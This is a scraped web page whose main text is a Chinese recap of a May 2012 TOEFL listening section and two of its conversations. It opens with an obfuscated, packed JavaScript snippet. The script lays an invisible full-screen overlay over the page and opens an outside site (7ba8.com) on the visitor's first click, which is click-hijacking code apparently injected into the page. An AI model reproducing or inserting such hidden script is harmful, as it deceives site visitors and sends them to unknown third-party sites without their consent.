<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>2012年5月12日托福听力重复了2011年4月2日北美托福考题，北京新东方托福研发组刘韧老师对本次考试听力部分作出了解析。
Conversation
第一篇
1.某学生觉得他室友太有目标，而自己没有，而且向老师询问一些选课的问题（问学生提到了哪些课，有题，双选），还觉得室友选的体育课对于自己的学术不太有用（他来是为了学术，有重听题）老师向他建议一个team-building的课，可以增强leadership等等（有题，问老师为什么如此建议）
第二篇
2：男生错过了上周班级同学一起去museum看的一个展览，于是来找museum工作人员。工作人员说“好可惜啊，因为平时我们只展出全部展品的一小部分”（意思是那次他们班去看是特例，给他们看了好多平时没有的）。然后好像因为这个男生正在研究/写的论文要用到这些展品的知识，museum工作人员就说“那你可以给***发个邮件约个时间让他（上次班级一起的时候也是这个人讲解的）再给你讲讲，他会很乐意的，并且你还是有机会看到部分你错过的展品的” |
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